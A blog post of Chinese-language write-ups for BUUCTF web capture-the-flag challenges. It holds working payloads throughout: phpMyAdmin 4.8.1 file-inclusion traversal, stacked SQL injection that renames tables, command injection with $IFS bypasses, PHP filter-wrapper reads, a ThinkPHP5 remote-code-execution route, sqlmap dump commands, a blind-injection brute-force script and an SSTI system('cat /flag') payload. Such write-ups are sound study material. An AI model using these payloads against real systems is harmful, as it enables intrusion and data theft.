buuctf web write-up

Posted vstar_o

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf web write-up相关的知识,希望对你有一定的参考价值。

warm up (HCTF2018)

漏洞名称:

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

查看源码,source.php,进去看到源码

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can\'t see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . \'?\', \'?\')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . \'?\', \'?\')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can\'t see it";
            return false;
        }
    }

    if (! empty($_REQUEST[\'file\'])
        && is_string($_REQUEST[\'file\'])
        && emmm::checkFile($_REQUEST[\'file\'])
    ) {
        include $_REQUEST[\'file\'];
        exit;
    } else {
        echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
    }  
?> 

分段来看

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can\'t see it";
                return false;
            }
 if (in_array($page, $whitelist)) {
                return true;
            }
    

首先是白名单,提交的page中要是白名单内的。

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . \'?\', \'?\')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . \'?\', \'?\')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

1、是page取?前作为_page再判断是否属于白名单
2、url解密一次
3、再取?前再判断一次

hint.php说在ffffllllaaaagggg.php,穿越目录读取

这里用?两次url编码,就可以绕过urldecode

这便符合了 ? 前面内容在白名单里会返回 true,会被包含,通过目录穿越就会造成任意文件包含漏洞

payload ?file=source.php%253f../../../../../../../../ffffllllaaaagggg

两个source.php就绕过了两个白名单检测。

至于多少个../就一个个试过去

随便注 [强网杯 2019]


单引号报错,从这是注入点

order by 3报错,最多两列


尝试union select ,屏蔽了这些关键词,尝试双写绕过,没有变化。

这是想到堆叠注入。

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;结束一个sql语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。



这里有两个疑似的数据库,我想use ctftraining但是用不了。show tables还是原本的表。

1\';show columns from ``1919810931114514``;#

贴一个大佬的payload:

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1\';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id然后用1\' or 1=1 #得到flag

这里原本的select语句应该是 select * from words where id=\' \';

[护网杯 2018]easy_tornado

看到三个文件,flag.txt welcome.txt hint.txt

hint.txt内
md5(cookie_secret+md5(filename))
welcome.txt内
render
/flag.txt
flag in /fllllllllllllag
查一下,render是一个类似模板的东西,可以使用不同的参数来访问网页。
那么我们在进行该题目的操作时,其实参数也是传递过来的,那么是什么参数呢。

尝试访问/fllllllllllllag,跳转到url:error?msg=Error

参考iamsongyu

在tornado模板中,存在一些可以访问的快速对象,例如

<title>
  {{ escape(handler.settings["cookie"]) }}
</title>

这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

用php跑一下

<?php
    $a=md5(\'1dfc6ae5-8d93-48c8-9c27-d3bec46afe2c\'.md5(\'/fllllllllllllag\'));
    echo $a;
?>

出结果370f2da981e9f4a193309c505c60375c
然后就可以访问得到flag

[SUCTF 2019]EasySQL

1、堆叠注入
2、逻辑

 select $_POST[query] || flag from flag

预期解:通过堆叠注入,设置sql_mode的值为PIPES_AS_CONCAT,从而将||视为字符串的连接操作符而不是或运算符。

所以payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期解

 select *,1 || flag from flag

[HCTF 2018]admin

知识点:unicode欺骗
参考文章:https://blog.csdn.net/pop364/article/details/105021669

这题挺绕的,题目明显提示login as admin,开始以为是普通注入,结果不行。

在change password界面有源码地址
https://github.com/woadsl1234/hctf_flask/)

找到routes.py

有一个关于session[‘name’]的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义,在最下面

def strlower(username):
    username = nodeprep.prepare(username)
    return username

百度查不到多少关于Nodeprep.prepare这个函数的信息,只能查大佬们的wp

这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2)
利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可
发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为Admin,从而改掉Admin的密码

转换过程:ᴬᴰᴹᴵᴺ -> ADMIN -> admin

在找这些文字时找到一个脚本可以用

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode(\'idna\').decode(\'utf-8\')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

[RoarCTF 2019]Easy Calc

代码里面有一个calc.php,访问

<?php 
error_reporting(0); 
if(!isset($_GET[\'num\'])){ 
    show_source(__FILE__); 
}else{ 
        $str = $_GET[\'num\']; 
        $blacklist = [\' \', \'\\t\', \'\\r\', \'\\n\',\'\\\'\', \'"\', \'`\', \'\\[\', \'\\]\',\'\\$\',\'\\\\\',\'\\^\']; 
        foreach ($blacklist as $blackitem) { 
                if (preg_match(\'/\' . $blackitem . \'/m\', $str)) { 
                        die("what are you want to do?"); 
                } 
        } 
        eval(\'echo \'.$str.\';\'); 
} 
?> 

过滤黑名单,不许有空格,双引号,反引号,和一些转义的东西。
测试提交发现不能提交字母,估计是后台把对num判断只能是数字。
知识点:http走私攻击,PHP字符串解析特性
在num前加个空格,waf就找不到num这个变量了,之后再GET进行解析,得到num。
payload:

? num=1;var_dump(scandir(chr(47)))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) /flagg
))

知识点链接(https://www.freebuf.com/articles/web/213359.html)

[极客大挑战 2019]EasySQL

万能密码,在哪都行

[极客大挑战 2019]Havefun

F12,最下面的代码

[强网杯 2019]高明的黑客

脚本有点复杂,大概意思是搜索所有文件里面的GET请求和POST请求,找到能用的。输出出来。但是我参考网上大佬的脚本都失败了,应该是自己的问题。就参考学习别人的脚本吧,自己的写脚本能力有待加强。

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目首先告诉了是select flag from flag

提交1,2分别可以看到查询到了东西,测试1\' or 1=1# 显示sql inject 看来是过滤了一些东西

在测试过程中,发现从第二个开始才会检测,第一个输入1+空格是检测到了,但是直接输入空格是没有sql inject

那就写一个常用的sql关键词,比如select,union,函数,符号等测试有没有被过滤。

注意在写txt的时候,每个关键词前加个空格或者1。

看response就知道482的是被过滤了。

就可以写注入语句了。有两种思路

if(ascii(substr((select(flag)from(flag)),1,1))=ascii(\'f\'),1,2)

还有一种是用异或

0^(if(ascii(substr((select(flag)from(flag)),1,1))=ascii(\'f\'),1,2))

意义是一样的,这里刚好可以不用异或,如果是搜索其他的东西的时候,用异或可以解决一些问题。
最垃圾的脚本贴一下,这里可以用二分搜索法或者break while等语句缩短时间。

import requests
url=\'http://0e762904-67b0-4640-9aa8-912c70f161bc.node3.buuoj.cn/\'
flag=\'\'
for i in range(29,50):
    for j in range(32,126):
        payload="if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)".format(i,j)
        data={
            "id":payload
        }
        response=requests.post(url,data=data)

        if \'Hello\' in response.text:
            flag+=chr(j)
            print(flag)

[极客大挑战 2019]Secret File

看源代码,一个php,跳转到另外一个php,burp抓包,看到secr3t.php,进去有源代码,直接访问flag.php没有

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET[\'file\'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

payload:

file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]PHP

我记得当初做的时候是扫到了这个后台的,不知道为什么现在又没扫到

<?php
include \'flag.php\';



class Name{
    private $username = \'nonono\';
    private $password = \'yesyes\';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = \'guest\';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === \'admin\') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can\'t give you the flag!";
            die();

            
        }
    }
}
?>

一目了然,绕过wakeup和private反序列化。

参考文章:https://xz.aliyun.com/t/6454

[极客大挑战 2019]Knife

蚁剑连,根目录

[极客大挑战 2019]LoveSQL

进去,看到上面提示说,用sqlmap,那就用。
burp抓包,保存为txt丢到kali里面
用sqlmap,payload如下

sqlmap -r /root/桌面/1.txt -dbs
sqlmap -r /root/桌面/1.txt -D geek --tables
sqlmap -r /root/桌面/1.txt -D geek -T lovelysql --schema
sqlmap -r /root/桌面/1.txt -D geek -T lovelysql -s password --dump

[极客大挑战 2019]Http

源代码,有个secret.php,进去看到说not come from ...,然后就基本题一点一点往后做

[GXYCTF2019]Ping Ping Ping

提示已经很明显了,linux管道命令执行。
?ip=127.0.0.1||ls

发现这个没有过滤。直接出现了flag.php 和index.php。
尝试?ip=127.0.0.1||cat flag.php
fuck you space,过滤空格
?ip=127.0.0.1||cat$IFSflag.php
fuck you flag,把flag给过滤了。

那我们先把index.php看一看
?ip=127.0.0.1||cat$IFS$1index.php

备注:这里问了王叹之大佬,他说:“空格绕过一半是:(IFS、)、$IFS$ 一位数字,这里我用的是1”

|\\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
    echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

这里有个要注意的 preg_match("/.*f.*l.*a.*g.*/", $ip)

. 匹配除空格外任意字符
*贪婪匹配前面的字符
这里的话,就比如**f***l**a**g***,形如这种的都会被过滤,还有就是fl**这种

过滤了一些字符,空格,bash,flag的贪婪匹配。

假设没有这些过滤我们有什么办法呢?

拼接flag,||a=fl;b=ag.php;cat $a$b
内联执行 ``反引号 echo “als

文章:[https://blog.csdn.net/silence1_/article/details/96135760]
payload:?ip=127.0.0.1||a=ag.php;b=fl;cat$IFS$1$b$a

[ACTF2020 新生赛]Include

payload:file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]BuyFlag

 	~~~post money and password~~~
if (isset($_POST[\'password\'])) {
	$password = $_POST[\'password\'];
	if (is_numeric($password)) {
		echo "password can\'t be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

404%00绕过is_numeric,然后传入money,这里提示长度过长,不能是8位。
这里猜测是将传入的money与1000000对比,如果相等,则返回flag

$money=$_POST[\'money\'];
if(!strcmp($money,\'1000000\')){
      echo $flag;
}

用数组绕过 money[]=1;

[ZJCTF 2019]NiZhuanSiWei

和bugku里面那题一模一样,但是我这不知道为什么用php://input伪协议过不了,只能用data://伪协议

[ACTF2020 新生赛]Exec

最基础的命令执行漏洞。

127.0.0.1|ls ../ 一层一层向上搜
在最前面有flag
payload 127.0.0.1|cat ../../../flag

[De1CTF 2019]SSRF Me

进去,有源码。格式化的很难受。

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding(\'latin1\')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):#python得构造方法
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数
        result = {}
        result[\'code\'] = 500
        if (self.checkSign()): #第一个测试的地方,checksign函数
            if "scan" in self.action:      #action要写scan
                tmpfile = open("./%s/result.txt" % self.sandbox, \'w\')
                resp = scan(self.param)       # 此处是文件读取得注入点
                if (resp == "Connection Timeout"):
                    result[\'data\'] = resp
                else:
                    print resp #输出结果
                    tmpfile.write(resp)
                    tmpfile.close()
                result[\'code\'] = 200
            if "read" in self.action:      #action要加read
                f = open("./%s/result.txt" % self.sandbox, \'r\')
                result[\'code\'] = 200
                result[\'data\'] = f.read()      #读取
            if result[\'code\'] == 500:
                result[\'data\'] = "Action Error"
        else:
            result[\'code\'] = 500
            result[\'msg\'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign): #!!!校验
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=[\'GET\', \'POST\']) # 这个页面用于测试
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))  #get一个param
    action = "scan"
    return getSign(action, param) #得到数据


@app.route(\'/De1ta\',methods=[\'GET\',\'POST\'])#这个路由是我萌得最终注入点
def challenge():
    action = urllib.unquote(request.cookies.get("action")) #这个是cookie
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) #cookie
    ip = request.remote_addr
    if(waf(param)): 
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip) #创建类
    return json.dumps(task.Exec())      #调用函数

@app.route(\'/\')#根目录路由,就是显示源代码得地方
def index():
    return open("code.txt","r").read()


def scan(param):#这是用来扫目录得函数
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):#这个waf比较没用好像
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

    
if __name__ == \'__main__\':
    app.debug = False
    app.run(host=\'0.0.0.0\')


大概顺序是在De1ta页面,get方式传输flag.txt,然后cookie里面的数据满足那个几个函数,使其return ture。让Exec()正常运行。

第一个:if (self.checkSign()): #第一个测试的地方,checksign函数

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign): #!!!校验
            return True
        else:
            return False
def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
    return hashlib.md5(secert_key + param + action).hexdigest()

@app.route("/geneSign", methods=[\'GET\', \'POST\']) # 这个页面用于测试
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))  #get一个param
    action = "scan"
    return getSign(action, param) #得到数据

前半部分,getSign(self.action, self.param),返回的是getSign(secert_key + \'我们get方式传输的param\'+\'我们传输的action\')
后半部分,要让我们传输的self.sign==getSign(),有个GeneSign页面,get到一个数据,返回 getSign(secert_key + \'我们get方式传输的数据\' + scan)

还有一个地方要注意,就是前面说,action里面必须要有read和scan,但是这里第二个固定是scan了,所以,我们在前半部分,param=flag.txt。后半部分是param=flag.txtread。传输的action是readscan。

步骤1:

步骤2:
http://0887f4e6-ba6c-4009-a883-f9d37713f8b3.node3.buuoj.cn/De1ta?param=flag.txt
步骤3:
burp抓包改cookie。原本hackbar应该也是可以发的,但是我这里一直不行不知道为什么。就算了。

[RoarCTF 2019]Easy Java

第三次遇到java和tomcat的知识

进去,看到是一个登录框,尝试注入,无果。

有个help的链接,看到了熟悉的文件下载。

随便看看报错信息,发现这是tomcat。就知道去下载WEB-INF/web.xml。

但是这里出了点问题,看了师傅的操作

这里要在下面有post一个filename的变量,不需要什么内容,内容在url上就行了
post filename。先下载下来WEB-INF/web.xml。
Download?filename=WEB-INF/web.xml

里面的关键数据

<servlet-class>com.wm.ctf.FlagController</servlet-class>
servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>

直接访问/Flag,报错,相信出题人也不会那么傻。

最后再下载WEB-INF/classes/com/wm/ctf/FlagController.class

文件提醒很近了,然后又有个base64。解码得到flag.

[BJDCTF2020]Easy MD5

进去抓包看到有个Hint: select * from \'admin\' where password=md5($pass,true)

提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:\'or\'6。

到第二关,两个弱相等,找0e.
第三关,param1[]=1&param2[]=2。数组绕过,sha1也可以这样。

[BJDCTF 2nd]old-hack

进去,看到是thinkphp5框架,其他尝试,没什么线索。

Thinkphp5远程命令执行漏洞:
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[\'_method\']来传递真实的请求方法。
但由于框架没有对参数进行验证,导致攻击者可以设置$_POST[\'_method\']=\'__construct\'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

先构造thinkphp5的报错,
http://92d387ab-6541-4731-b6d5-492624ef1c3d.node3.buuoj.cn/index.php?s=1

可以看到版本是5.0.23
使用kali2020自带的searchsploit


cat /usr/share/exploitdb/exploits/php/webapps/46150.txt

这里有两个,我选择的下面那个

出现了回显

然后就ls ../一层一层往上找,找到最上面有个flag, cat一下就可以了

[GXYCTF2019]禁止套娃

用githack扫描,得到.git文件

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET[\'exp\'])){
    if (!preg_match(\'/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i\', $_GET[\'exp\'])) {
        if(\';\' === preg_replace(\'/[a-z,_]+\\((?R)?\\)/\', NULL, $_GET[\'exp\'])) {
            if (!preg_match(\'/et|na|info|dec|bin|hex|oct|pi|log/i\', $_GET[\'exp\'])) {
                // echo $_GET[\'exp\'];
                @eval($_GET[\'exp\']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
else{
  echo \'hello\';
}}
?>

一行行看下去
if (!preg_match(\'/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i\', $_GET[\'exp\'])) {
1、过滤了data filter 读取源码的伪协议
if(\';\' === preg_replace(\'/[a-z,_]+\\((?R)?\\)/\', NULL, $_GET[\'exp\']))
2、函数的参数只能是无参数
if (!preg_match(\'/et|na|info|dec|bin|hex|oct|pi|log/i\', $_GET[\'exp\'])) {
3、过滤了一些函数,例如file_get_contents就不能用,以为get里面有et
方法一:
考虑读源码,因为已经知道在flag.php里面了
print_r(scandir(\'.\'));
我们知道中间是不能有参数的。那有什么函数是一个点呢。
积累知识:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。

print_r(scandir(current(localeconv())));

Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
那我们知道flag.php,但是又不能写到参数里面。
https://www.w3school.com.cn/php/php_ref_array.asp,这里面有一些对数组操作的函数

array_rand() 返回数组中一个或多个随机的键。//如果有15个键的话则会随机返回0-14中的一个数字
array_reverse() 以相反的顺序返回数组。
end() 将数组的内部指针指向最后一个元素。
next() 将数组中的内部指针向前移动一位。
current() 返回数组中的当前元素。
prev() 将数组的内部指针倒回一位。
array_flip() 交换数组中的键和值。

flag.php在倒数第二个,我们可以先反转,再next读取。也可以用array_flip交换键值之后,用array_rand读取一个。

print_r(next(array_reverse(scandir(current(localeconv())))));
print_r(array_rand(array_flip(scandir(current(localeconv())))));

就可以返回flag.php,最后一步,如何读取文件

highlight_file()和show_source();

方法二:
涨知识了。

参考:https://www.cnblogs.com/wangtanzhi/p/12260986.html

[ASIS 2019]Unicorn shop

之前那个是视觉欺骗,现在这个是字符替换(?)
https://xz.aliyun.com/t/5402#toc-0
https://www.compart.com/en/unicode/

[GYCTF2020]Blacklist

堆叠注入,找到FlagHere表。过滤了很多,官方wp是:

1\';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

搜了一些东西,感觉很奇怪

handler table_name open;
read;
close;

自己测试,只有read frist 和 next

last prev这些不行。不太明白怎么用,之后如果有遇到再进行总结。

[SWPU2019]Web1

知识点:无列名注入

看到输入框就想着注入,没东西,注册进去。发送广告,我还以为是xss,
测试
xss测试是可以的,但是在第一个框里面,有sql报错。

参考大佬,写的很详细
https://www.cnblogs.com/wangtanzhi/p/12241499.html

[BJDCTF2020]Mark loves cat


<?php
include \'flag.php\';
$yds = "dog";
$is = "cat";
$handsome = \'yds\';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;  
}

foreach($_GET as $x => $y){
    if($_GET[\'flag\'] === $x && $x !== \'flag\'){	////GET方式传flag只能传一个flag,不能同时是flag
        exit($handsome);
    }
}

if(!isset($_GET[\'flag\']) && !isset($_POST[\'flag\'])){	//GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST[\'flag\'] === \'flag\'  || $_GET[\'flag\'] === \'flag\'){	//GET和POST传flag,必须不能是flag=flag
    exit($is);
}

echo "the flag is: ".$flag;

先看这一句,

foreach($_GET as $x => $y){
    $$x = $$y;   // 如果$y =flag  那么$$y=就是$flag 就达到我们想要的 
}

先确定 $y->flag $x 是我们需要die 的变量名字
再看这一句

if(!isset($_GET[\'flag\']) && !isset($_POST[\'flag\'])){	//GET和POST其中之一必须传flag
    exit($yds);
}

那我们随便post flag=flag 就行了
payload:get yds=flag post flag=flag

[GWCTF 2019]我有一个数据库

知识点:
https://www.jianshu.com/p/0d75017c154f

dirsearch 扫到phpmyadmin,查看对应版本,搜索phpmyadmin 4.8.1 漏洞

poc 直接打 ?target=db_sql.php%253f/../../../../../../../../flag

[BJDCTF2020]The mystery of ip

hint.php 里面有一句话:Do you know why i know your ip?

可以通过改XFF或者Cliet-IP,修改ip地址。

burp抓包,Client-IP:123,回显是123。

里面存在SSTI漏洞,Client-IP:123{{7*7}},回显12349.

payload:Client-IP:123{{system("cat /flag")}}

以上是关于buuctf web write-up的主要内容,如果未能解决你的问题,请参考以下文章

2021强网杯Write-Up真题解析之WEB部分(暴力干货,建议收藏)

BuuCTF Web Writeup 第二部分

buuctf 刷题记录 [第一章 web入门]afr_2

『CTF Web复现』[BUUCTF 2018]Online Tool

buuctf 刷题记录 [第二章 web进阶]XSS闯关

[网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝赌徒EasyWebpop_master